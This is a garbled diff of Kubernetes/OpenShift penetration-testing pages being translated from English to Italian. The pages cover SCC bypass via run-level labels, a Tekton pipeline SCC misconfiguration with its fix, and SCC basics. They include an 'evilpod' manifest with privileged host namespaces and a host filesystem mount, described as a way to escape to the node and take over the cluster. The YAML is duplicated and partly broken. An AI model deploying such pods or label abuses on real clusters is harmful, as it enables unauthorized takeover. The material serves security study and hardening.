</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
In assenza di SCC, non ci sono restrizioni sulla definizione del tuo pod. Questo significa che un pod malevolo può essere facilmente creato per evadere sul sistema host.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Ora è diventato più facile elevare i privilegi per accedere al sistema host e successivamente prendere il controllo dell'intero cluster, guadagnando privilegi 'cluster-admin'. Cerca la parte **Node-Post Exploitation** nella seguente pagina:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Etichette personalizzate
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Inoltre, in base alla configurazione target, alcune etichette / annotazioni personalizzate possono essere utilizzate nello stesso modo dello scenario di attacco precedente. Anche se non è stato creato per, le etichette potrebbero essere utilizzate per concedere permessi, limitare o meno una risorsa specifica.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Cerca etichette personalizzate se puoi leggere alcune risorse. Ecco un elenco di risorse interessanti:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Elenca tutti i namespace privilegiati
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
## Exploit avanzato
|
||||
|
||||
## Advanced exploit
|
||||
In OpenShift, come dimostrato in precedenza, avere il permesso di distribuire un pod in uno spazio dei nomi con l'etichetta `openshift.io/run-level` può portare a un takeover diretto del cluster. Dal punto di vista delle impostazioni del cluster, questa funzionalità **non può essere disabilitata**, poiché è intrinseca al design di OpenShift.
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
Tuttavia, misure di mitigazione come **Open Policy Agent GateKeeper** possono impedire agli utenti di impostare questa etichetta.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Per bypassare le regole di GateKeeper e impostare questa etichetta per eseguire un takeover del cluster, **gli attaccanti avrebbero bisogno di identificare metodi alternativi.**
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,79 +1,71 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**L'autore originale di questa pagina è** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### Cos'è tekton
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
Secondo la documentazione: _Tekton è un potente e flessibile framework open-source per creare sistemi CI/CD, che consente agli sviluppatori di costruire, testare e distribuire su fornitori di cloud e sistemi on-premise._ Sia Jenkins che Tekton possono essere utilizzati per testare, costruire e distribuire applicazioni, tuttavia Tekton è Cloud Native. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Con Tekton tutto è rappresentato da file YAML. Gli sviluppatori possono creare Risorse Personalizzate (CR) di tipo `Pipelines` e specificare più `Tasks` in esse che desiderano eseguire. Per eseguire una Pipeline, devono essere create risorse di tipo `PipelineRun`.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Quando tekton è installato, viene creata un'account di servizio (sa) chiamata pipeline in ogni namespace. Quando una Pipeline viene eseguita, verrà generato un pod utilizzando questo sa chiamato `pipeline` per eseguire i task definiti nel file YAML.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Le capacità dell'account di servizio Pipeline
|
||||
|
||||
Per impostazione predefinita, l'account di servizio pipeline può utilizzare la capacità `pipelines-scc`. Questo è dovuto alla configurazione predefinita globale di tekton. In realtà, la configurazione globale di tekton è anch'essa un YAML in un oggetto openshift chiamato `TektonConfig` che può essere visualizzato se si hanno alcuni ruoli di lettura nel cluster.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
In qualsiasi namespace, se riesci a ottenere il token del service account della pipeline, sarai in grado di utilizzare `pipelines-scc`.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### La Misconfigurazione
|
||||
|
||||
Il problema è che il scc predefinito che il service account della pipeline può utilizzare è controllabile dall'utente. Questo può essere fatto utilizzando un'etichetta nella definizione del namespace. Ad esempio, se posso creare un namespace con la seguente definizione yaml:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
L'operatore tekton darà all'account di servizio della pipeline in `test-namespace` la possibilità di utilizzare lo scc privilegiato. Questo permetterà il montaggio del nodo.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### La soluzione
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
I documenti di Tekton su come limitare l'override dello scc aggiungendo un'etichetta nell'oggetto `TektonConfig`.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Questa etichetta si chiama `max-allowed` 
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Definizione
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
Nel contesto di OpenShift, SCC sta per **Security Context Constraints**. Le Security Context Constraints sono politiche che controllano i permessi per i pod in esecuzione sui cluster OpenShift. Definiscono i parametri di sicurezza sotto i quali un pod è autorizzato a funzionare, inclusi quali azioni può eseguire e quali risorse può accedere.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
Le SCC aiutano gli amministratori a far rispettare le politiche di sicurezza in tutto il cluster, garantendo che i pod funzionino con permessi appropriati e rispettino gli standard di sicurezza organizzativi. Queste restrizioni possono specificare vari aspetti della sicurezza del pod, come:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Capacità Linux: Limitare le capacità disponibili per i container, come la possibilità di eseguire azioni privilegiate.
|
||||
2. Contesto SELinux: Far rispettare i contesti SELinux per i container, che definiscono come i processi interagiscono con le risorse nel sistema.
|
||||
3. File system root di sola lettura: Impedire ai container di modificare file in determinate directory.
|
||||
4. Directory e volumi host consentiti: Specificare quali directory e volumi host un pod può montare.
|
||||
5. Esegui come UID/GID: Specificare gli ID utente e gruppo sotto i quali il processo del container viene eseguito.
|
||||
6. Politiche di rete: Controllare l'accesso di rete per i pod, come limitare il traffico in uscita.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
Configurando le SCC, gli amministratori possono garantire che i pod funzionino con il livello appropriato di isolamento di sicurezza e controlli di accesso, riducendo il rischio di vulnerabilità di sicurezza o accesso non autorizzato all'interno del cluster.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
Fondamentalmente, ogni volta che viene richiesta una distribuzione di pod, viene eseguito un processo di ammissione come segue:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Questo ulteriore strato di sicurezza per impostazione predefinita vieta la creazione di pod privilegiati, il montaggio del file system host o l'impostazione di qualsiasi attributo che potrebbe portare a un'escalation di privilegi.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Elenco SCC
|
||||
|
||||
Per elencare tutte le SCC con il client Openshift:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,35 +37,26 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Tutti gli utenti hanno accesso al SCC predefinito "**restricted**" e "**restricted-v2**" che sono i SCC più rigorosi.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Utilizzare SCC
|
||||
|
||||
Il SCC utilizzato per un pod è definito all'interno di un'annotazione :
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Quando un utente ha accesso a più SCC, il sistema utilizzerà quello che si allinea con i valori del contesto di sicurezza. Altrimenti, verrà attivato un errore di accesso vietato.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user